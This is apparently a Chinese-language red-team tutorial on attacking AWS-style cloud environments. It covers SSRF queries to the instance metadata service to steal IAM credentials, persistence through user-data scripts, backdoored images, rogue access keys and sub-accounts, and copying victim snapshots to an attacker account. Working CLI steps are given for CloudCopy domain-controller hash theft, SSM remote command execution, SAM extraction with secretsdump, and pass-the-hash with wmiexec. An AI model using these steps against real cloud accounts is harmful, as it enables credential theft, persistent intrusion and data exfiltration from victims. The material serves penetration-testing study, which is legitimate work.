1. 凭证泄露(Credential Exposure)
常见泄露类型:
类型 | 示例 |
控制台账号密码 | 云控制台用户名+密码暴露 |
访问密钥 AccessKey | AWS 的 AccessKeyId、SecretAccessKey 泄露 |
临时凭证 | 通过元数据服务获得的临时 STS 凭证 |
实例登录凭证 | SSH 私钥、EC2 创建时生成的 文件泄露 |
收集方式:
- GitHub / GitLab / Gitee 搜索关键词如:
access_key
,secret
,aws_access_key_id
- 目标 APK、微信小程序反编译
- Web 源码、接口返回信息
- 云函数环境变量泄露
2. 元数据服务滥用(Instance Metadata Exploitation)
云平台为每台实例提供“本地元数据服务”,供实例内部访问配置信息。默认开放,无需授权认证,因此只要能 SSRF 或命令执行,就可访问。
常用元数据地址
云厂商 | 地址 |
AWS |
|
阿里云 |
|
Google Cloud |
|
Oracle Cloud |
|
Packet (Equinix) |
|
SSRF + 元数据泄露:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
若返回某个角色名(如 EC2ReadOnly
),再请求:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ReadOnly
可获取:
AccessKeyId
SecretAccessKey
SessionToken
即可伪造该角色临时登录控制台,进而横向。
高价值元数据点(以 AWS 为例):
路径 | 信息 |
| 实例 ID |
| 实例公网 IP |
| 内网 IP |
| 所属区域(如 ) |
| IAM 角色信息 |
| 临时密钥 |
| 主机名 |
| MAC 地址 |
| SSH 公钥 |
3. 控制台账号劫持(XSS、CSRF)
- AWS、阿里云等控制台若存在 XSS,可被用于钓鱼或 Cookie 劫持
- 成功后攻击者可完全接管云账户
- 曾发生于某次 AWS 控制台事件(已修复)
4. 恶意镜像滥用(Malicious AMI)
在 AWS 中创建实例时选择了攻击者伪装的公共镜像
典型漏洞:CVE-2018-15869
- 攻击者上传恶意镜像至 AWS Marketplace
- 用户使用
ec2 describe-images
默认拉取到该镜像 - 实例上线后自动执行挖矿脚本或远程控制模块
防御建议:
- 使用时添加
--owners self amazon
限制来源 - 定期对镜像内容做安全扫描
5. 传统方法(通用于云上资产)
- SSH 弱口令
- RDP 爆破
- Web 服务漏洞上传、命令执行
- Redis 未授权访问
- Jenkins、GitLab、Nexus等配置泄露
在云环境中,初始访问不仅包括传统弱点,还加入了特有的「元数据服务」、「临时凭证」、「恶意镜像」等新型向量,攻击者可通过 SSRF、配置错误、钓鱼或弱口令,完成权限获取与横向拓展。
使用用户数据执行命令
在创建云服务器时,用户可以通过指定自定义数据,进行配置实例,当云服务器启动时,自定义数据将以文本的方式传递到云服务器中,并执行该文本,而且文本里的命令默认以 root 权限执行。
通过这一功能,攻击者可以修改实例的用户数据并向其中写入待执行的命令,这些代码将会在实例每次启动时自动执行
什么是用户数据
用户数据(User Data)是指用户在创建云服务器(如 AWS EC2)时,传入给实例的一段脚本或配置内容,在实例启动时由系统执行。
- 支持多种格式:Shell 脚本、cloud-config、MIME 多部分脚本
- 默认以 root 权限 执行
- 一般用于初始化配置、自动化部署
安全风险
风险类型 | 描述 |
命令执行 | 用户数据中可注入恶意命令(如反弹 shell) |
持久化执行 | 利用 cloud-config 结构可实现“每次启动都执行” |
数据留存 | 脚本内容在实例中可被读取分析 |
泄密风险 | 用户数据可能含密码、密钥,被攻击者读出 |
横向风险 | 用户数据中可自动拉取、植入其他机器木马脚本 |
示例
一次性执行
#!/bin/bash
touch /tmp/teamssix.txt
仅在实例首次启动时执行一次。
每次启动执行(持久化)
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
touch /tmp/teamssix.txt
--//--
使用 cloud_final_modules
+ always
机制,可实现 每次重启都执行,适合攻击者部署反弹 shell、下载马等逻辑。
除了在控制台上操作的方式外,也可以使用 aws cli 操作
aws ec2 run-instances \
--image-id ami-abcd1234 \
--count 1 \
--instance-type m3.medium \
--key-name my-key-pair \
--subnet-id subnet-abcd1234 \
--security-group-ids sg-abcd1234 \
--user-data file://my_script.txt
my_script.txt
就是要执行的脚本
查看实例用户数据
aws ec2 describe-instance-attribute --instance-id i-1234567890abcdef0 --attribute userData --output text --query "UserData.Value" | base64 --decode
权限维持
1、用户数据
上文提到了用户数据可以用来做权限维持,只要把需要执行的命令改成反弹shell就好了,但是用过云服务器的都知道,没事一般是不会重启实例的,而且用户实例也只有实例停止时才能修改,那么使用用户数据进行权限维持显得就有些鸡肋了。
2、后门镜像
当攻击者获取到控制台权限后,可以看看目标的 AMI(Amazon 系统镜像),如果可以对其进行修改或者删除、创建的话,RT 就可以将原来的镜像替换成存在后门的镜像。
这样当下次目标用户在选用该镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。
3、创建访问密钥
如果当前环境可以创建新的访问密钥,则可以在 IAM 中创建访问密钥进行权限维持。
4、创建辅助账号
除了以上的权限维持方法,还可以通过在 IAM 中创建高权限子账号的方式进行权限维持,然后通过这个子账号进行后续的持续攻击行为。
5、其他的权限维持方法
除了上述方法外,还可以通过在实例中添加隐藏用户、安装远控软件等等传统方法进行权限维持。
获取共享快照的数据
如果拥有 AWS 的 EC2 快照相关权限(如 CreateSnapshot
、ModifySnapshotAttribute
、AttachVolume
),则可通过「创建并共享快照 → 生成 EBS 卷 → 挂载查看数据」方式,实现 跨账号或跨实例读取目标数据盘内容。
利用目标 AWS 账户中存在的 公开快照,可以直接创建卷并挂载查看。
公有快照
步骤:
- 在 AWS 控制台中找到一个“公有快照”
- 创建一个新卷(EBS):
-
- 指定快照 ID
- 卷大小 ≥ 快照大小
- 可用区(AZ)与自己实例一致
- 将该卷挂载到自己的 EC2 实例中
- 登录实例,执行以下命令识别并挂载:
sudo fdisk -l # 查看卷设备名,如 /dev/xvdf3
sudo mkdir /test
sudo mount /dev/xvdf3 /test
ls /test # 查看快照中的文件
此方法无需控制目标账户,只要快照是公有的即可。
私有快照
在拿到目标 AWS 控制台权限时,如果无法登录到实例,可以为目标实例打个快照,然后将快照共享给自己。
步骤:
- 登录目标账号,找到目标实例
- 创建快照:
EC2 → 实例 → 操作 → 创建快照
- 修改快照权限为“共享”:
快照 → 权限 → 添加自己的账户 ID(attacker)
- 登录自己的账号,在“私有快照”中看到该快照
- 重复「创建卷 → 挂载 → 查看数据」的过程
CloudCopy 工具使用(自动化快照窃取)
https://github.com/Static-Flow/CloudCopy
是一款可用于在 AWS 中远程提取域控制器哈希值的红队工具。它会:
- 远程创建快照
- 复制到攻击者账户
- 创建卷
- 自动提取
NTDS.dit
和SYSTEM
文件
安装:
git clone https://github.com/Static-Flow/CloudCopy.git
cd CloudCopy
python3 CloudCopy.py
如提示缺库,手动 pip 安装缺失模块。
接下来,开始进行相应的配置,输入自己的 AWS 账号 ID 及访问凭证以及目标的访问凭证
manual_cloudcopy
show_options
set attackeraccountid xxx
set attackerAccessKey xxx
set attackerSecretKey xxx
set victimAccessKey xxx
set victimSecretKey xxx
set region ap-northeast-2
配置好之后,就可以利用 CloudCopy 进行哈希窃取了
stealDCHashes
这时会提示选择实例,直接输入要窃取的实例编号即可
EC2子域名接管
当一个 AWS EC2 实例没有绑定 弹性 IP(Elastic IP),而是使用默认的公有 IPv4 IP时:
- EC2 实例 每次重启或销毁 都可能更换公网 IP
- 如果子域名通过 CNAME 或 A 记录绑定的是旧的公网 IP
- 而这个公网 IP 被别人拿去用了
- 那么这个子域名就可能被别人控制,造成 子域名接管(Subdomain Takeover)
步骤:
- 查看 DNS 记录
发现ec2.example.com
的 CNAME 指向某个 AWS EC2 实例(比如ec2-15-***.compute.amazonaws.com
) - 正常访问该子域名
显示原本的业务页面,IP 地址是15.x.x.x
- 将 EC2 停止 → 再启动
观察公有 IP 变成3.x.x.x
,即原来的15.x.x.x
被释放 - 重新访问子域名
发现子域无法访问,或已被“别人”的实例接管(如出现陌生的 Jenkins 页面) - 结论
原子域名仍然指向旧 IP,但该 IP 已归他人所有,因此出现了“子域名被接管”的问题。
只是这个域名不是被我们接管的,而是被别人接管了
那么怎么判断 DNS 记录里的 EC2 IP 是公有 IP 还是弹性 IP 呢?大概有以下几种方法:
判断方法 | 说明 |
SSL 证书对比 | 子域名证书与主域/其他子域证书是否一致,不一致可能为非官方资产 |
网络空间搜索 | 使用 FOFA、Shodan 查询该 IP 历史归属,看是否频繁变动 |
搜索引擎记录 | 通过百度/谷歌搜索该 IP 有无变化记录 |
官方验证 | 直接询问目标组织该 IP 是否属于其资产(虽然不 hacker 但很实用) |
以上方法并不能 100% 判断是否弹性 IP,但可作为重要参考。
利用 AWS CLI 执行命令
当目标实例被 AWS Systems Manager 代理后,除了在控制台可以执行命令外,拿到凭证后使用 AWS 命令行也可以在 EC2 上执行命令。
前提条件
要使用 AWS CLI 成功远程命令执行,必须满足以下条件:
条件 | 说明 |
实例已安装 SSM Agent | Amazon Linux 2、Ubuntu 默认已内置;旧系统需手动安装 |
实例具备 IAM SSM 角色 | 如 |
实例能访问公网或 VPC 内有 SSM Endpoint | 否则无法与 Systems Manager 服务通信 |
已获取目标账户的 AWS 凭证 | AccessKeyId + SecretAccessKey(或 session token) |
步骤:
第一步:列出实例 ID
可以根据实例类型、标签等过滤器筛选目标:
aws ec2 describe-instances \
--filters "Name=instance-type,Values=t2.micro" \
--query "Reservations[].Instances[].InstanceId" \
--output text
也可以加上 tag 过滤:
aws ec2 describe-instances \
--filters "Name=tag:Name,Values=xxx" \
--query "Reservations[].Instances[].InstanceId" \
--output text
第二步:发送命令执行请求
aws ssm send-command \
--instance-ids "i-0abcd1234efgh5678" \
--document-name "AWS-RunShellScript" \
--parameters commands="ifconfig" \
--region ap-northeast-1 \
--output text
返回结果中会包含 CommandId
,记住它!比如:
COMMANDID abcdef12-3456-7890-ghij-klmnopqrstuv
第三步:查看命令输出结果
aws ssm list-command-invocations \
--command-id abcdef12-3456-7890-ghij-klmnopqrstuv \
--details \
--output text
获取无法直接执行命令的 Windows 实例权限
在云上渗透时偶尔会有一种情况,虽然有ECS实例管理权限但是无法在实例上执行命令的情况,这种情况一般是因为实例没有安装云助手或者云厂商本身就不支持直接下发执行命令等原因。
这种情况下,可以 利用云控制台的“磁盘管理”功能,间接提权到目标主机。
思路也很简单,就是通过为目标实例打快照 —> 创建磁盘 —> 创建实例 —> 挂载磁盘 —> 利用 SAM 等文件获取密码或哈希 —> 使用密码或哈希远程登录获取权限
操作关键细节
🔹 快照创建(Snapshot)
- 控制台一般会有创建快照选项
- 确保选择的是“系统盘”
- 名字可自定义
🔹 创建新实例并挂载磁盘
- 实例和磁盘 必须在同一可用区
- Windows 系统较好操作(图形界面友好)
- 如果挂载后没有显示,记得去“磁盘管理”里挂载盘符
🔹 提取哈希文件路径
在挂载的新磁盘中,一般路径如下:
X:\Windows\System32\config\SAM
X:\Windows\System32\config\SYSTEM
X:\Windows\System32\config\SECURITY
(注意:其中 X:
是你挂载的盘符)
使用工具:impacket
推荐使用 Impacket 工具包中的 secretsdump.py
:
python3 secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Windows 系统上可以用 impacket-examples-windows 里的 .exe
可执行版:
.\secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL
Terraform也是非常不错的自动化工具
拿到哈希后怎么办?
明文密码:直接远程桌面(RDP)
mstsc.exe
# 填入目标实例公网IP和用户名/密码
NTLM 哈希:可尝试 PTH
python3 wmiexec.py -hashes <NTLM_HASH>:<NTLM_HASH> administrator@<target-ip>
Linux 没有 SAM 文件,但你还是可以:
方法 | 说明 |
查看敏感配置 | 如 ssh key、配置文件、私钥等 |
破解 Shadow | 提取 |
查找 Token | 如 AWS CLI 配置、环境变量、脚本凭证 |
提取 Web 服务密码 |
|
鼠鼠没钱买云服务,具体演示请看下文